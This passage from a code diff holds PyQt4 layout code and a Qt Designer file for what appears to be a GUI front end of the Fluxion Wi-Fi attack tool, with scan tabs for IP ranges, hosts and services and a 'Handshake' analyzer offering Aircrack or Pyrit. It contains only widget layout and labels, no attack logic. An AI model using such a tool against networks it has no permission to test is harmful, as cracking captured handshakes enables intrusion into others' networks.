self.gridLayout_7.addWidget(self.BottomTabWidget, 1, 0, 1, 1)
self.MainTabWidget = QtGui.QTabWidget(self.centralwidget)
self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget"))
self.ScanTab = QtGui.QWidget()
self.ScanTab.setObjectName(_fromUtf8("ScanTab"))
self.gridLayout_4 = QtGui.QGridLayout(self.ScanTab)
self.gridLayout_4.setObjectName(_fromUtf8("gridLayout_4"))
self.splitter = QtGui.QSplitter(self.ScanTab)
self.splitter.setOrientation(QtCore.Qt.Horizontal)
self.splitter.setObjectName(_fromUtf8("splitter"))
self.HostsTabWidget = QtGui.QTabWidget(self.splitter)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.HostsTabWidget.sizePolicy().hasHeightForWidth())
self.HostsTabWidget.setSizePolicy(sizePolicy)
self.HostsTabWidget.setObjectName(_fromUtf8("HostsTabWidget"))
self.HostsTab = QtGui.QWidget()
self.HostsTab.setObjectName(_fromUtf8("HostsTab"))
self.gridLayout_5 = QtGui.QGridLayout(self.HostsTab)
self.gridLayout_5.setObjectName(_fromUtf8("gridLayout_5"))
self.HostsTableView = QtGui.QTableView(self.HostsTab)
self.HostsTableView.setObjectName(_fromUtf8("HostsTableView"))
self.gridLayout_5.addWidget(self.HostsTableView, 0, 0, 1, 1)
self.HostsTabWidget.addTab(self.HostsTab, _fromUtf8(""))
self.ServicesLeftTab = QtGui.QWidget()
self.ServicesLeftTab.setObjectName(_fromUtf8("ServicesLeftTab"))
self.gridLayout_6 = QtGui.QGridLayout(self.ServicesLeftTab)
self.gridLayout_6.setObjectName(_fromUtf8("gridLayout_6"))
self.ServiceNamesTableView = QtGui.QTableView(self.ServicesLeftTab)
self.ServiceNamesTableView.setObjectName(_fromUtf8("ServiceNamesTableView"))
self.gridLayout_6.addWidget(self.ServiceNamesTableView, 0, 0, 1, 1)
self.HostsTabWidget.addTab(self.ServicesLeftTab, _fromUtf8(""))
self.ServicesTabWidget = QtGui.QTabWidget(self.splitter)
self.ServicesTabWidget.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(1)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.ServicesTabWidget.sizePolicy().hasHeightForWidth())
self.ServicesTabWidget.setSizePolicy(sizePolicy)
self.ServicesTabWidget.setObjectName(_fromUtf8("ServicesTabWidget"))
self.tab_3 = QtGui.QWidget()
self.tab_3.setObjectName(_fromUtf8("tab_3"))
self.lineEdit = QtGui.QLineEdit(self.tab_3)
self.lineEdit.setGeometry(QtCore.QRect(10, 30, 113, 30))
self.lineEdit.setObjectName(_fromUtf8("lineEdit"))
self.label = QtGui.QLabel(self.tab_3)
self.label.setGeometry(QtCore.QRect(10, 10, 62, 20))
self.label.setObjectName(_fromUtf8("label"))
self.ServicesTabWidget.addTab(self.tab_3, _fromUtf8(""))
self.ServicesRightTab = QtGui.QWidget()
self.ServicesRightTab.setObjectName(_fromUtf8("ServicesRightTab"))
self.verticalLayout = QtGui.QVBoxLayout(self.ServicesRightTab)
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.ServicesTableView = QtGui.QTableView(self.ServicesRightTab)
self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView"))
self.verticalLayout.addWidget(self.ServicesTableView)
self.ServicesTabWidget.addTab(self.ServicesRightTab, _fromUtf8(""))
self.InformationTab = QtGui.QWidget()
self.InformationTab.setObjectName(_fromUtf8("InformationTab"))
self.gridLayout_2 = QtGui.QGridLayout(self.InformationTab)
self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2"))
self.InformationTableView = QtGui.QTableView(self.InformationTab)
self.InformationTableView.setObjectName(_fromUtf8("InformationTableView"))
self.gridLayout_2.addWidget(self.InformationTableView, 0, 0, 1, 1)
self.ServicesTabWidget.addTab(self.InformationTab, _fromUtf8(""))
self.gridLayout_4.addWidget(self.splitter, 0, 0, 1, 1)
self.MainTabWidget.addTab(self.ScanTab, _fromUtf8(""))
self.HandshakeTab = QtGui.QWidget()
self.HandshakeTab.setObjectName(_fromUtf8("HandshakeTab"))
self.BruteTabWidget = QtGui.QTabWidget(self.HandshakeTab)
self.BruteTabWidget.setGeometry(QtCore.QRect(9, 9, 391, 171))
self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget"))
self.tab = QtGui.QWidget()
self.tab.setObjectName(_fromUtf8("tab"))
self.lineEdit_2 = QtGui.QLineEdit(self.tab)
self.lineEdit_2.setGeometry(QtCore.QRect(0, 30, 191, 30))
self.lineEdit_2.setObjectName(_fromUtf8("lineEdit_2"))
self.label_2 = QtGui.QLabel(self.tab)
self.label_2.setGeometry(QtCore.QRect(0, 10, 62, 20))
self.label_2.setObjectName(_fromUtf8("label_2"))
self.pushButton_2 = QtGui.QPushButton(self.tab)
self.pushButton_2.setGeometry(QtCore.QRect(290, 100, 90, 28))
self.pushButton_2.setObjectName(_fromUtf8("pushButton_2"))
self.radioButton = QtGui.QRadioButton(self.tab)
self.radioButton.setGeometry(QtCore.QRect(0, 70, 109, 25))
self.radioButton.setObjectName(_fromUtf8("radioButton"))
self.radioButton_2 = QtGui.QRadioButton(self.tab)
self.radioButton_2.setGeometry(QtCore.QRect(0, 90, 109, 25))
self.radioButton_2.setObjectName(_fromUtf8("radioButton_2"))
self.BruteTabWidget.addTab(self.tab, _fromUtf8(""))
self.MainTabWidget.addTab(self.HandshakeTab, _fromUtf8(""))
self.gridLayout_7.addWidget(self.MainTabWidget, 0, 0, 1, 1)
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtGui.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 804, 26))
self.menubar.setObjectName(_fromUtf8("menubar"))
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtGui.QStatusBar(MainWindow)
self.statusbar.setObjectName(_fromUtf8("statusbar"))
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
self.BottomTabWidget.setCurrentIndex(0)
self.MainTabWidget.setCurrentIndex(0)
self.HostsTabWidget.setCurrentIndex(1)
self.ServicesTabWidget.setCurrentIndex(0)
self.BruteTabWidget.setCurrentIndex(0)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow", None))
self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), _translate("MainWindow", "Log", None))
self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), _translate("MainWindow", "Hosts", None))
self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), _translate("MainWindow", "Services", None))
self.label.setText(_translate("MainWindow", "IP Range", None))
self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.tab_3), _translate("MainWindow", "Scope", None))
self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), _translate("MainWindow", "Services", None))
self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), _translate("MainWindow", "Information", None))
self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), _translate("MainWindow", "Scan", None))
self.label_2.setText(_translate("MainWindow", "Path", None))
self.pushButton_2.setText(_translate("MainWindow", "Start", None))
self.radioButton.setText(_translate("MainWindow", "Aircrack", None))
self.radioButton_2.setText(_translate("MainWindow", "Pyrit", None))
self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab), _translate("MainWindow", "Analyzer", None))
self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.HandshakeTab), _translate("MainWindow", "Handshake", None))
if __name__ == "__main__":
import sys
app = QtGui.QApplication(sys.argv)
MainWindow = QtGui.QMainWindow()
ui = Ui_MainWindow()
ui.setupUi(MainWindow)
MainWindow.show()
sys.exit(app.exec_())

265
ui/fluxion.ui Normal file
View File

@ -0,0 +1,265 @@
<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
<class>MainWindow</class>
<widget class="QMainWindow" name="MainWindow">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>804</width>
<height>527</height>
</rect>
</property>
<property name="windowTitle">
<string>MainWindow</string>
</property>
<property name="animated">
<bool>true</bool>
</property>
<widget class="QWidget" name="centralwidget">
<layout class="QGridLayout" name="gridLayout_7">
<item row="1" column="0">
<widget class="QTabWidget" name="BottomTabWidget">
<property name="sizeIncrement">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="baseSize">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="currentIndex">
<number>0</number>
</property>
<widget class="QWidget" name="LogTab">
<attribute name="title">
<string>Log</string>
</attribute>
<layout class="QGridLayout" name="gridLayout_3">
<item row="0" column="0">
<widget class="QTableView" name="ProcessesTableView"/>
</item>
</layout>
</widget>
</widget>
</item>
<item row="0" column="0">
<widget class="QTabWidget" name="MainTabWidget">
<property name="currentIndex">
<number>0</number>
</property>
<widget class="QWidget" name="ScanTab">
<attribute name="title">
<string>Scan</string>
</attribute>
<layout class="QGridLayout" name="gridLayout_4">
<item row="0" column="0">
<widget class="QSplitter" name="splitter">
<property name="orientation">
<enum>Qt::Horizontal</enum>
</property>
<widget class="QTabWidget" name="HostsTabWidget">
<property name="sizePolicy">
<sizepolicy hsizetype="Expanding" vsizetype="Expanding">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="currentIndex">
<number>1</number>
</property>
<widget class="QWidget" name="HostsTab">
<attribute name="title">
<string>Hosts</string>
</attribute>
<layout class="QGridLayout" name="gridLayout_5">
<item row="0" column="0">
<widget class="QTableView" name="HostsTableView"/>
</item>
</layout>
</widget>
<widget class="QWidget" name="ServicesLeftTab">
<attribute name="title">
<string>Services</string>
</attribute>
<layout class="QGridLayout" name="gridLayout_6">
<item row="0" column="0">
<widget class="QTableView" name="ServiceNamesTableView"/>
</item>
</layout>
</widget>
</widget>
<widget class="QTabWidget" name="ServicesTabWidget">
<property name="enabled">
<bool>true</bool>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Expanding" vsizetype="Expanding">
<horstretch>1</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="currentIndex">
<number>0</number>
</property>
<widget class="QWidget" name="tab_3">
<attribute name="title">
<string>Scope</string>
</attribute>
<widget class="QLineEdit" name="lineEdit">
<property name="geometry">
<rect>
<x>10</x>
<y>30</y>
<width>113</width>
<height>30</height>
</rect>
</property>
</widget>
<widget class="QLabel" name="label">
<property name="geometry">
<rect>
<x>10</x>
<y>10</y>
<width>62</width>
<height>20</height>
</rect>
</property>
<property name="text">
<string>IP Range</string>
</property>
</widget>
</widget>
<widget class="QWidget" name="ServicesRightTab">
<attribute name="title">
<string>Services</string>
</attribute>
<layout class="QVBoxLayout" name="verticalLayout">
<item>
<widget class="QTableView" name="ServicesTableView"/>
</item>
</layout>
</widget>
<widget class="QWidget" name="InformationTab">
<attribute name="title">
<string>Information</string>
</attribute>
<layout class="QGridLayout" name="gridLayout_2">
<item row="0" column="0">
<widget class="QTableView" name="InformationTableView"/>
</item>
</layout>
</widget>
</widget>
</widget>
</item>
</layout>
</widget>
<widget class="QWidget" name="HandshakeTab">
<attribute name="title">
<string>Handshake</string>
</attribute>
<widget class="QTabWidget" name="BruteTabWidget">
<property name="geometry">
<rect>
<x>9</x>
<y>9</y>
<width>391</width>
<height>171</height>
</rect>
</property>
<property name="currentIndex">
<number>0</number>
</property>
<widget class="QWidget" name="tab">
<attribute name="title">
<string>Analyzer</string>
</attribute>
<widget class="QLineEdit" name="lineEdit_2">
<property name="geometry">
<rect>
<x>0</x>
<y>30</y>
<width>191</width>
<height>30</height>
</rect>
</property>
</widget>
<widget class="QLabel" name="label_2">
<property name="geometry">
<rect>
<x>0</x>
<y>10</y>
<width>62</width>
<height>20</height>
</rect>
</property>
<property name="text">
<string>Path</string>
</property>
</widget>
<widget class="QPushButton" name="pushButton_2">
<property name="geometry">
<rect>
<x>290</x>
<y>100</y>
<width>90</width>
<height>28</height>
</rect>
</property>
<property name="text">
<string>Start</string>
</property>
</widget>
<widget class="QRadioButton" name="radioButton">
<property name="geometry">
<rect>
<x>0</x>
<y>70</y>
<width>109</width>
<height>25</height>
</rect>
</property>
<property name="text">
<string>Aircrack</string>
</property>
</widget>
<widget class="QRadioButton" name="radioButton_2">
<property name="geometry">
<rect>
<x>0</x>
<y>90</y>
<width>109</width>
<height>25</height>
</rect>
</property>
<property name="text">
<string>Pyrit</string>
</property>
</widget>
</widget>
</widget>
</widget>
</widget>
</item>
</layout>
</widget>
<widget class="QMenuBar" name="menubar">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>804</width>
<height>26</height>
</rect>
</property>
</widget>
<widget class="QStatusBar" name="statusbar"/>
</widget>
<resources/>
<connections/>
</ui>